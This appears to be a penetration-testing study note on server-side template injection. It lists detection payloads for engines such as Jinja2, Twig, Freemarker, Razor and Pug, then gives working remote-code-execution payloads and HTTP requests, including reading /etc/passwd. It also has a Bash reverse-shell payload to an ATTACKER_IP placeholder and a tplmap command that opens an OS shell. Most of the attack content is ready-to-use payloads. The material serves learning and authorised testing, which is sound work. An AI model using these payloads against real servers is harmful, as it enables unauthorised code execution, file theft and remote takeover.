x

SSTI

A web security vulnerability that occurs when an attacker can inject malicious code into a template engine used on the server side. Developers often use template engines to generate dynamic web pages. These engines combine a static template file (such as HTML, email, etc.) with dynamic data to produce the final content displayed to the end-user.

If data from the user (like URL parameters, form inputs, etc.) is sent directly to the template engine without proper sanitization, attackers can exploit this situation. By using the template engine's own syntax, they can execute unexpected commands on the server, access sensitive files, and even gain full control of the server. This makes SSTI a very critical and dangerous type of vulnerability.

Some Test Payloads

Payload Expected Result Potential Engine(s)
{{7*'7'}} 49 Twig
{{7*'7'}} 7777777 Jinja2
{{'a'.toUpperCase()}} A Jinja2 (Mako, Twig, Nunjucks)
${7*7} 49 Freemarker
<#assign x="7*7">${x} 49 Freemarker
@{7*7} 49 Razor (.NET)
@(7*7) 49 Razor (.NET)
#{7*7} 49 Java (JSF)
{{77}}* 49 Handlebars
{{ this.getClass() }} Java object name Java (General)
<%= 7 * 7 %> 49 Ruby (ERB)

RCE in Python (Jinja2) environments

  • Achieving RCE in Python-based template engines typically involves accessing dangerous functions like __import__ or eval through the __builtins__ module. One of the most common methods is to import the os module or use popen() or system() functions.
{{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

HTTP Request
Attacker injects payload to run the id command, the command returns the identity of the current user.

GET /profile?name={{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }} HTTP/1.1

PHP (Twig) Environment RCE

The PHP-based template engine Twig has a fairly secure sandbox by default. However, developers may sometimes make dangerous functions like registerUndefinedFilterCallback accessible within templates or misconfigure the environment.

Twig is generally harder to achieve RCE on. However, misconfigurations are always possible.

If PHP functions such as exec, system or passthru are directly or indirectly accessible, RCE is possible.

Scenario where system function can be invoked as a filter

{{ ['id']|filter('system') }}
GET /profile?name={{ ['id']|filter('system') }} HTTP/1.1

Step 1 - Define Filter Redirection

  • Payload registers the exec function as the handler for all undefined filters. As a result whenever an undefined filter is called, twig passes it to the exec() function.
  • Payload: {{ _self.env.registerUndefinedFilterCallback("exec") }}

Step 2 - Use Undefined filter to Execute a Command
This payload triggers the undefined filter call to execute the id command.
Payload: {{ _self.env.getFilter("id") }}

The following example assumes that the passthru function is already registered as a filter named passthru. In this case, the passthru filter directly involves PHPs passthru function.

GET /profile?name={{ "ls -la"|passthru }} HTTP/1.1

RCE Examples in Other Template Engines

Not only Python and PHP, but other languages template engines can also be vulnerable to SSTI.

Java (Freemarker) Environment RCE
Freemarker provides a path to RCE when dangerous objects like Execute can be accessed

Payload

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id") }
  • Payload creates a new object from the freemarker.template.utility.Execute class and assigns it to the ex variable. This then uses this object to run the id command.

.NET Razor Environment RCE

The Razor template engine can directly execute C# code making CE straightforward

Payload

@{ System.Diagnostics.Process.Start("cmd.exe","/c whoami"); }
  • Payload uses .NET's Process.Start method to execute whoami command

NodeJS (Pug/Jade) Environment RCE

Allow RCE by accessing NodeJSs global process object

Payload

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
  • This payload loads the child_process module to execute cat /etc/passwd synchronously and outputs the result

Obtaining the Reverse Shell

Once RCE access is achieved, attackers often aim to get a more stable and interactive command-line session via a reverse shell. This allows the vulnerable server to connect back to an attacker controlled machine and open a shell session.

Bash reverse shell payload

{{ ['bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1']|filter('system') }}

Automated Tools

Tplmap
DO NOT USE ON OSCP
Specialist tool for SSTI detection and exploitation.

  • Like SQLMap
  • Automates reading and writing files and executing commands on the server
python tplmap.py -u "http://vulnerable-site.com/profile?name=Jules" -p name --os-shell
Left-click: follow link, Right-click: select node, Scroll: zoom
x